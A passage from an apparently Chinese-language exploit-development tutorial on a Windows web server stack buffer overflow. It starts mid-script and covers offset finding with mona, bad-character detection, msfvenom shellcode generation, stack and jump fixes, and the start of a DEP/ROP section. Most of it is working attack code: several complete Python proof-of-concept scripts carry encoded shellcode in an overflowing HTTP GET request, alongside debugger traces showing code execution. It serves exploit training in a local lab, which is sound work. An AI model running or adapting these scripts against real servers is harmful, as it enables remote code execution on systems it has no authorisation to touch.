c7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1B" buffer = shellcode buffer + = 'A' * (offset_eip - len ( buffer )) buffer + = EIP buffer + = ESP buffer + = 'E' * ( 1500 - len ( buffer )) # buffer = '\xcc'*20 + 'A'*947 + '0x7e4456f7' + '\xe9\x30\xfc\xff\xff' HOST = '127.0.0.1' PORT = 80 req = "GET /" + buffer + "HTTP/1.1\r\n\r\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.send(req) data = s.recv( 1024 ) s.close() print 'Received' , repr (data) |
我们会跳转到"3Av4"这个地方:
使用mona寻找偏移量:
1 | !mona po 3Av4 |
也可以直接找"3Av4"前面占了多少字节:
1 2 | >>> len ( "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av" ) 641 |
我们这里使用631作为shellcode的偏移(其实641也一样的):
检测坏字符
现在,我们可以使用msf来创建一个shellcode并将其注入漏洞利用中,但首先我们需要找出坏字符(我们不能在缓冲区上使用的字节,因为它们会破坏漏洞利用)。
为了找出坏字符,我们使用!mona bytearray
选项。这将在工作文件夹上创建两个文件,一个bytearray.txt包含要进行攻击的数组,另一个bytearray.bin,一个使用!mona compare
命令与内存中的数组进行比较的文件。如果内存上的数组与文件上的数组不同,mona会告诉我们是什么字节导致了不同,并且可以在没有这些字节的情况下重新制作数组。一旦从数组中剥离了所有错误字符,mona会告诉我们内存上的数组是“未修改的”。
当我们攻击Web服务器时,我们已经可以排除一些我们知道会破坏url的字符,例如空字节、空格、/
符号和?
符号。
我们使用命令!mona bytearray -cpb "\x00\x20\x2f\x3f"
生成第一个字节数组,在我们的漏洞利用中复制该数组,并在jmp esp
上放置断点执行进行调试分析。
!mona bytearray -cpb "\x00\x20\x2f\x3f"
:–cpb
参数表示“Create Pattern Bytearray”,它后面跟着的字符串\x00\x20\x2f\x3f
是需要排除的字节。
\x00
通常被排除,因为它是字符串结束符(null byte),它可能会导致基于字符串的函数(如strcpy)提前结束。\x20
是空格字符,在某些情况下可能会被用作分隔符,导致输入被拆分。\x2f
是正斜杠/
,在URL或文件路径中被用作分隔符。\x3f
是问号?
,在URL中用来标示查询参数的开始。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | import sys import socket import struct offset_eip = 967 offset_shellcode = 641 EIP = struct.pack( '<I' , 0x7e4456f7 ) # jmp esp ntdll.dll ESP = '\xe9\x26\xfc\xff\xff' buffer = 'A' * offset_shellcode shellcode = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21" "\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x40\x41\x42\x43" "\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63" "\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83" "\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3" "\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3" "\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3" "\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" ) buffer + = shellcode buffer + = 'A' * (offset_eip - len ( buffer )) buffer + = EIP buffer + = ESP buffer + = 'E' * ( 1500 - len ( buffer )) HOST = '127.0.0.1' PORT = 80 req = "GET /" + buffer + "HTTP/1.1\r\n\r\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.send(req) data = s.recv( 1024 ) s.close() print 'Received' , repr (data) |
执行后,我们可以看到EIP等于"45454545",访问冲突。这是因为某些字符串破坏了我们的缓冲区(正常的话应该是jmp esp
),并且覆盖EIP的偏移量已经更改。
0x0e处有截断,前面的0x0d可能是坏字符。
重新生成检测的bytearray:
1 2 3 4 5 6 7 8 | "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22" "\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x40\x41\x42\x43\x44" "\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64" "\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84" "\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4" "\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4" "\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4" "\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" |
结果还是和之前相同重复操作几次,把0x0b
,0x0a
,0x09
都去掉,也就是:
1 | !mona bytearray - cpb "\x00\x20\x2f\x3f\x0d\x0c\x0b\x0a\x09" |
1 2 3 4 5 6 7 8 | "\x01\x02\x03\x04\x05\x06\x07\x08\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x25\x26" "\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x40\x41\x42\x43\x44\x45\x46\x47\x48" "\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68" "\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88" "\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8" "\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8" "\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8" "\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" |
现在可以断在jmp esp
上面了:
我们也可以使用mona compare
验证一下,找到我们0x01
的地址:
1 2 3 4 5 6 7 8 9 | 0 : 003 > db 00c7e750 00c7e750 01 02 03 04 05 06 07 08 - 0e 0f 10 11 12 13 14 15 ................ 00c7e760 16 17 18 19 1a 1b 1c 1d - 1e 1f 21 22 23 24 25 26 ..........!" #$%& 00c7e770 27 28 29 2a 2b 2c 2d 2e - 30 31 32 33 34 35 36 37 '() * + , - . 01234567 00c7e780 38 39 3a 3b 3c 3d 3e 40 - 41 42 43 44 45 46 47 48 89 :;< = >@ABCDEFGH 00c7e790 49 4a 4b 4c 4d 4e 4f 50 - 51 52 53 54 55 56 57 58 IJKLMNOPQRSTUVWX 00c7e7a0 59 5a 5b 5c 5d 5e 5f 60 - 61 62 63 64 65 66 67 68 YZ[\]^_`abcdefgh 00c7e7b0 69 6a 6b 6c 6d 6e 6f 70 - 71 72 73 74 75 76 77 78 ijklmnopqrstuvwx 00c7e7c0 79 7a 7b 7c 7d 7e 7f 80 - 81 82 83 84 85 86 87 88 yz{|}~.......... |
0x7e4456f7
下断点,然后运行:
1 | !mona compare - f "C:\Program Files\Immunity Inc\Immunity Debugger\bytearray.bin" - a 0x00c7e750 |
可以看到unmodified,也就是说我们是正确的。
现在我们创建一个没有错误字符编码的msf的shellcode。目前,我们只执行经典的calc.exe。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | ┌──(name㉿kali) - [ / opt / metasploit - framework / embedded / framework] └─$ msfvenom - p windows / exec CMD = calc.exe - b "\x00\x20\x2f\x3f\x0d\x0c\x0b\x0a\x09" - f c - - arch x86 - - platform windows Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86 / shikata_ga_nai x86 / shikata_ga_nai succeeded with size 220 (iteration = 0 ) x86 / shikata_ga_nai chosen with final size 220 Payload size: 220 bytes Final size of c file : 952 bytes unsigned char buf[] = "\xb8\x69\xfc\x2c\xd8\xdb\xc9\xd9\x74\x24\xf4\x5e\x29\xc9" "\xb1\x31\x31\x46\x13\x83\xc6\x04\x03\x46\x66\x1e\xd9\x24" "\x90\x5c\x22\xd5\x60\x01\xaa\x30\x51\x01\xc8\x31\xc1\xb1" "\x9a\x14\xed\x3a\xce\x8c\x66\x4e\xc7\xa3\xcf\xe5\x31\x8d" "\xd0\x56\x01\x8c\x52\xa5\x56\x6e\x6b\x66\xab\x6f\xac\x9b" "\x46\x3d\x65\xd7\xf5\xd2\x02\xad\xc5\x59\x58\x23\x4e\xbd" "\x28\x42\x7f\x10\x23\x1d\x5f\x92\xe0\x15\xd6\x8c\xe5\x10" "\xa0\x27\xdd\xef\x33\xee\x2c\x0f\x9f\xcf\x81\xe2\xe1\x08" "\x25\x1d\x94\x60\x56\xa0\xaf\xb6\x25\x7e\x25\x2d\x8d\xf5" "\x9d\x89\x2c\xd9\x78\x59\x22\x96\x0f\x05\x26\x29\xc3\x3d" "\x52\xa2\xe2\x91\xd3\xf0\xc0\x35\xb8\xa3\x69\x6f\x64\x05" "\x95\x6f\xc7\xfa\x33\xfb\xe5\xef\x49\xa6\x63\xf1\xdc\xdc" "\xc1\xf1\xde\xde\x75\x9a\xef\x55\x1a\xdd\xef\xbf\x5f\x11" "\xba\xe2\xc9\xba\x63\x77\x48\xa7\x93\xad\x8e\xde\x17\x44" "\x6e\x25\x07\x2d\x6b\x61\x8f\xdd\x01\xfa\x7a\xe2\xb6\xfb" "\xae\x81\x59\x68\x32\x68\xfc\x08\xd1\x74" ; |
-p windows/exec
选择了windows/exec
模块,用于在 Windows 系统上执行命令。CMD=calc.exe
指定了 shellcode 执行的命令,即启动计算器。-b "\x00\x20\x2f\x3f\x0d\x0c\x0b\x0a\x09"
指出了需要排除的坏字符集合。-f c
表示输出格式为 C 语言代码。--arch x86
确保生成的 shellcode 是针对 x86 架构的。--platform windows
指定了目标平台是 Windows。
当前poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | import sys import socket import struct offset_eip = 967 offset_shellcode = 631 EIP = struct.pack( '<I' , 0x7e4456f7 ) # jmp esp ntdll.dll ESP = '\xe9\x26\xfc\xff\xff' # jmp $-971: buffer = 'A' * offset_shellcode shellcode = ( "\xb8\x69\xfc\x2c\xd8\xdb\xc9\xd9\x74\x24\xf4\x5e\x29\xc9" "\xb1\x31\x31\x46\x13\x83\xc6\x04\x03\x46\x66\x1e\xd9\x24" "\x90\x5c\x22\xd5\x60\x01\xaa\x30\x51\x01\xc8\x31\xc1\xb1" "\x9a\x14\xed\x3a\xce\x8c\x66\x4e\xc7\xa3\xcf\xe5\x31\x8d" "\xd0\x56\x01\x8c\x52\xa5\x56\x6e\x6b\x66\xab\x6f\xac\x9b" "\x46\x3d\x65\xd7\xf5\xd2\x02\xad\xc5\x59\x58\x23\x4e\xbd" "\x28\x42\x7f\x10\x23\x1d\x5f\x92\xe0\x15\xd6\x8c\xe5\x10" "\xa0\x27\xdd\xef\x33\xee\x2c\x0f\x9f\xcf\x81\xe2\xe1\x08" "\x25\x1d\x94\x60\x56\xa0\xaf\xb6\x25\x7e\x25\x2d\x8d\xf5" "\x9d\x89\x2c\xd9\x78\x59\x22\x96\x0f\x05\x26\x29\xc3\x3d" "\x52\xa2\xe2\x91\xd3\xf0\xc0\x35\xb8\xa3\x69\x6f\x64\x05" "\x95\x6f\xc7\xfa\x33\xfb\xe5\xef\x49\xa6\x63\xf1\xdc\xdc" "\xc1\xf1\xde\xde\x75\x9a\xef\x55\x1a\xdd\xef\xbf\x5f\x11" "\xba\xe2\xc9\xba\x63\x77\x48\xa7\x93\xad\x8e\xde\x17\x44" "\x6e\x25\x07\x2d\x6b\x61\x8f\xdd\x01\xfa\x7a\xe2\xb6\xfb" "\xae\x81\x59\x68\x32\x68\xfc\x08\xd1\x74" ) buffer + = shellcode buffer + = 'A' * (offset_eip - len ( buffer )) buffer + = EIP buffer + = ESP buffer + = 'E' * ( 1500 - len ( buffer )) HOST = '127.0.0.1' PORT = 80 req = "GET /" + buffer + "HTTP/1.1\r\n\r\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.send(req) data = s.recv( 1024 ) s.close() print 'Received' , repr (data) |
运行构造好的poc,进行逐步调试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | 0 : 002 > bp 7e4456f7 * * * ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\USER32.dll - 0 : 002 > g Breakpoint 0 hit eax = 00000000 ebx = 000000c8 ecx = 7c90f641 edx = 00000007 esi = 00c7dd66 edi = 00c7ff53 eip = 7e4456f7 esp = 00c7dc6c ebp = 0000000e iopl = 0 nv up ei pl nz na po nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00000202 USER32!DeregisterShellHookWindow + 0x5437 : 7e4456f7 ffe4 jmp esp { 00c7dc6c } 0 : 003 > p eax = 00000000 ebx = 000000c8 ecx = 7c90f641 edx = 00000007 esi = 00c7dd66 edi = 00c7ff53 eip = 00c7dc6c esp = 00c7dc6c ebp = 0000000e iopl = 0 nv up ei pl nz na po nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00000202 00c7dc6c e926fcffff jmp 00c7d897 0 : 003 > p eax = 00000000 ebx = 000000c8 ecx = 7c90f641 edx = 00000007 esi = 00c7dd66 edi = 00c7ff53 eip = 00c7d897 esp = 00c7dc6c ebp = 0000000e iopl = 0 nv up ei pl nz na po nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00000202 00c7d897 b8a2f2d413 mov eax, 13D4F2A2h 0 : 003 > dc eip 00c7d897 d4f2a2b8 d9d0d913 5af42474 31b1c929 ........t$.Z).. 1 00c7d8a7 83134231 420304c2 ef2110ad 10ca5659 1B .....B..!.YV.. 00c7d8b7 f5423799 7d3077a8 d332479a c0162316 . 7B ..w0}.G2.. #.. 00c7d8c7 e7bf41ad c699ef06 49d95c97 aa0e9f1b .A.......\.I.... 00c7d8d7 ab435022 f9ae8d63 ee1dd93c 859d9749 "PC.c...<...I... 00c7d8e7 7aa63901 2c8738d1 ce07636a c80e1fbf . 9.z . 8. ,jc...... 00c7d8f7 63d81adc a5dbd016 88771967 cc89e848 ...c....g.w.H... 00c7d907 24fc136e f307ae8d e08d74ec cd35fe56 n..$.....t..V. 5. 0 : 003 > u eip 00c7d897 b8a2f2d413 mov eax, 13D4F2A2h 00c7d89c d9d0 fnop 00c7d89e d97424f4 fnstenv [esp - 0Ch ] 00c7d8a2 5a pop edx 00c7d8a3 29c9 sub ecx,ecx 00c7d8a5 b131 mov cl, 31h 00c7d8a7 314213 xor dword ptr [edx + 13h ],eax 00c7d8aa 83c204 add edx, 4 |
我们可以看到我们处于 shellcode 0xb8a2f2d413
的开头。我们继续执行。如果一切顺利的话会弹出计算器,但我们却遇到了访问违规:
1 2 3 4 5 6 7 8 | 0 : 003 > g ( 6c8 . 5c8 ): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax = 00000002 ebx = 000000c8 ecx = 0000b48d edx = 0000000e esi = 00c7dd66 edi = 00c7ff53 eip = 00c7d94b esp = 00c7dc70 ebp = 00c7d8b8 iopl = 0 nv up ei pl zr na pe nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00010246 00c7d94b 0000 add byte ptr [eax],al ds: 0023 : 00000002 = ?? |
EIP: 0x00c7d94b
ESP: 0x00c7dc70
ESP指向堆栈上EIP下方的内存区域,EIP当前指向堆栈上的指令。因此,如果shellcode执行pop并弹出堆栈中的值,则shellcode本身可能会损坏。为了解决这个问题,我们必须将ESP移动到EIP指向的地址(我们的shellcode所在的地址)上方。我们使用msf的asm来获取对应的指令。
这个实现方法是从ESP中减去1000字节:
1 2 3 4 5 | ┌──(name㉿kali) - [ / opt / metasploit - framework / embedded / framework] └─$ / opt / metasploit - framework / embedded / framework / tools / exploit / nasm_shell.rb nasm > sub esp, 3e8h 00000000 81ECE8030000 sub esp, 0x3e8 nasm > |
也可以使用metasm生成:
1 2 3 4 5 6 7 8 | ┌──(name㉿kali)-[ /opt/metasploit-framework/embedded/framework ] └─$ /opt/metasploit-framework/embedded/framework/tools/exploit/metasm_shell .rb type "exit" or "quit" to quit use ";" or "\n" for newline type "file <file>" to parse a GAS assembler source file metasm > sub esp,3e8h "\x81\xec\xe8\x03\x00\x00" |
我们可以看到生成的指令具有空字节(\x00
),因此我们不能使用它。这可以通过使用负值进行添加操作来解决:
1 2 | metasm > add esp, - 3e8h "\x81\xc4\x18\xfc\xff\xff" |
我们得到相同的结果,但这次没有空字节。现在,我们将这个指令放在漏洞利用的jmp $-971
之前。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | import sys import socket import struct offset_eip = 967 offset_shellcode = 631 EIP = struct.pack( '<I' , 0x7e4456f7 ) # jmp esp ntdll.dll # bad bytes: "\x00\x20\x2f\x3f\x0d\x0c\x0b\x0a\x09" ESP = '\x81\xc4\x18\xfc\xff\xff' # add esp,-3e8h; 6 bytes ESP + = '\xe9\x26\xfc\xff\xff' # jmp $-971; "\xe9\x2a\xfc\xff\xff": jmp $-977 buffer = 'A' * offset_shellcode # windows/exec CMD=calc.exe shellcode = ( "\xb8\x69\xfc\x2c\xd8\xdb\xc9\xd9\x74\x24\xf4\x5e\x29\xc9" "\xb1\x31\x31\x46\x13\x83\xc6\x04\x03\x46\x66\x1e\xd9\x24" "\x90\x5c\x22\xd5\x60\x01\xaa\x30\x51\x01\xc8\x31\xc1\xb1" "\x9a\x14\xed\x3a\xce\x8c\x66\x4e\xc7\xa3\xcf\xe5\x31\x8d" "\xd0\x56\x01\x8c\x52\xa5\x56\x6e\x6b\x66\xab\x6f\xac\x9b" "\x46\x3d\x65\xd7\xf5\xd2\x02\xad\xc5\x59\x58\x23\x4e\xbd" "\x28\x42\x7f\x10\x23\x1d\x5f\x92\xe0\x15\xd6\x8c\xe5\x10" "\xa0\x27\xdd\xef\x33\xee\x2c\x0f\x9f\xcf\x81\xe2\xe1\x08" "\x25\x1d\x94\x60\x56\xa0\xaf\xb6\x25\x7e\x25\x2d\x8d\xf5" "\x9d\x89\x2c\xd9\x78\x59\x22\x96\x0f\x05\x26\x29\xc3\x3d" "\x52\xa2\xe2\x91\xd3\xf0\xc0\x35\xb8\xa3\x69\x6f\x64\x05" "\x95\x6f\xc7\xfa\x33\xfb\xe5\xef\x49\xa6\x63\xf1\xdc\xdc" "\xc1\xf1\xde\xde\x75\x9a\xef\x55\x1a\xdd\xef\xbf\x5f\x11" "\xba\xe2\xc9\xba\x63\x77\x48\xa7\x93\xad\x8e\xde\x17\x44" "\x6e\x25\x07\x2d\x6b\x61\x8f\xdd\x01\xfa\x7a\xe2\xb6\xfb" "\xae\x81\x59\x68\x32\x68\xfc\x08\xd1\x74" ) buffer + = shellcode buffer + = 'A' * (offset_eip - len ( buffer )) buffer + = EIP buffer + = ESP buffer + = 'E' * ( 1500 - len ( buffer )) HOST = '127.0.0.1' PORT = 80 req = "GET /" + buffer + "HTTP/1.1\r\n\r\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.send(req) data = s.recv( 1024 ) s.close() print 'Received' , repr (data) |
还是没有准确落到shellcode上面,手动查一下,shellcode在0x00c7d897
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | 0 : 003 > r eax = 00000000 ebx = 000000c8 ecx = 7c90f641 edx = 00000007 esi = 00c7dd66 edi = 00c7ff53 eip = 00c7d8a1 esp = 00c7d884 ebp = 0000000e iopl = 0 nv up ei pl nz ac pe cy cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00000217 00c7d8a1 f4 hlt 0 : 003 > dc 00c7d897 00c7d897 d4f2a2b8 d9d0d913 5af42474 31b1c929 ........t$.Z).. 1 00c7d8a7 83134231 420304c2 ef2110ad 10ca5659 1B .....B..!.YV.. 00c7d8b7 f5423799 7d3077a8 d332479a c0162316 . 7B ..w0}.G2.. #.. 00c7d8c7 e7bf41ad c699ef06 49d95c97 aa0e9f1b .A.......\.I.... 00c7d8d7 ab435022 f9ae8d63 ee1dd93c 859d9749 "PC.c...<...I... 00c7d8e7 7aa63901 2c8738d1 ce07636a c80e1fbf . 9.z . 8. ,jc...... 00c7d8f7 63d81adc a5dbd016 88771967 cc89e848 ...c....g.w.H... 00c7d907 24fc136e f307ae8d e08d74ec cd35fe56 n..$.....t..V. 5. 0 : 003 > u 00c7d897 00c7d897 b8a2f2d413 mov eax, 13D4F2A2h 00c7d89c d9d0 fnop 00c7d89e d97424f4 fnstenv [esp - 0Ch ] 00c7d8a2 5a pop edx 00c7d8a3 29c9 sub ecx,ecx 00c7d8a5 b131 mov cl, 31h 00c7d8a7 314213 xor dword ptr [edx + 13h ],eax 00c7d8aa 83c204 add edx, 4 |
原本的栈中往低地址处跳的跳转有问题,我们需要调整一下:
1 2 | metasm > jmp $ - 987 "\xe9\x20\xfc\xff\xff" |
其中\0x20
是坏字符,需要修改一下poc,offset_shellcode改为641,对应:
1 2 | metasm > jmp $ - 977 "\xe9\x2a\xfc\xff\xff" |
完整poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | import sys import socket import struct offset_eip = 967 offset_shellcode = 641 EIP = struct.pack( '<I' , 0x7e4456f7 ) # jmp esp ntdll.dll # bad bytes: "\x00\x20\x2f\x3f\x0d\x0c\x0b\x0a\x09" ESP = '\x81\xc4\x18\xfc\xff\xff' # add esp,-3e8h ESP + = "\xe9\x2a\xfc\xff\xff" buffer = 'A' * offset_shellcode shellcode = ( "\xb8\x69\xfc\x2c\xd8\xdb\xc9\xd9\x74\x24\xf4\x5e\x29\xc9" "\xb1\x31\x31\x46\x13\x83\xc6\x04\x03\x46\x66\x1e\xd9\x24" "\x90\x5c\x22\xd5\x60\x01\xaa\x30\x51\x01\xc8\x31\xc1\xb1" "\x9a\x14\xed\x3a\xce\x8c\x66\x4e\xc7\xa3\xcf\xe5\x31\x8d" "\xd0\x56\x01\x8c\x52\xa5\x56\x6e\x6b\x66\xab\x6f\xac\x9b" "\x46\x3d\x65\xd7\xf5\xd2\x02\xad\xc5\x59\x58\x23\x4e\xbd" "\x28\x42\x7f\x10\x23\x1d\x5f\x92\xe0\x15\xd6\x8c\xe5\x10" "\xa0\x27\xdd\xef\x33\xee\x2c\x0f\x9f\xcf\x81\xe2\xe1\x08" "\x25\x1d\x94\x60\x56\xa0\xaf\xb6\x25\x7e\x25\x2d\x8d\xf5" "\x9d\x89\x2c\xd9\x78\x59\x22\x96\x0f\x05\x26\x29\xc3\x3d" "\x52\xa2\xe2\x91\xd3\xf0\xc0\x35\xb8\xa3\x69\x6f\x64\x05" "\x95\x6f\xc7\xfa\x33\xfb\xe5\xef\x49\xa6\x63\xf1\xdc\xdc" "\xc1\xf1\xde\xde\x75\x9a\xef\x55\x1a\xdd\xef\xbf\x5f\x11" "\xba\xe2\xc9\xba\x63\x77\x48\xa7\x93\xad\x8e\xde\x17\x44" "\x6e\x25\x07\x2d\x6b\x61\x8f\xdd\x01\xfa\x7a\xe2\xb6\xfb" "\xae\x81\x59\x68\x32\x68\xfc\x08\xd1\x74" ) buffer + = shellcode buffer + = 'A' * (offset_eip - len ( buffer )) buffer + = EIP buffer + = ESP buffer + = 'E' * ( 1500 - len ( buffer )) HOST = '127.0.0.1' PORT = 80 req = "GET /" + buffer + "HTTP/1.1\r\n\r\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.send(req) data = s.recv( 1024 ) s.close() print 'Received' , repr (data) |
可以看到已经弹计算器了,我们的exp已经成功利用:
注意!!后来shellcode我换了一个新的,所以文章中的shellcode可能对不上,但是原理是一样的
漏洞利用绕过DEP
前言
在上一篇文章中,我们关闭了(其实是默认关闭)了系统的DEP,本文我们将在开启DEP的系统上绕过DEP保护来实现EXP的编写。
首先开启DEP并重启虚拟机:
此时再运行我们的poc,发现已经无法运行了:
windbg调试一下,发现内存非法访问:
eip=00c7dc6c
发生了内存访问冲突,因为DEP不允许我们在堆栈上运行代码,而堆栈正是我们放置和执行代码的地方。当我们激活DEP时,能够执行任意代码的方法是尝试在内存中搜索指向我们想要执行的某些指令的地址(return to libc),然后使用ret指令并将它们链接在堆栈上。构成的指令链就是所谓的 ROP(面向返回的编程)。
构造ROP
使用ROP我们可以尝试创建需要执行的 shellcode,但不确定我们是否能够找到所有必要的指令。幸运的是Windows API 为我们提供了一系列功能,使我们能够将进程堆栈标记为可执行内存,一旦完成,我们将能够在堆栈上执行代码,就好像它是传统的漏洞一样。
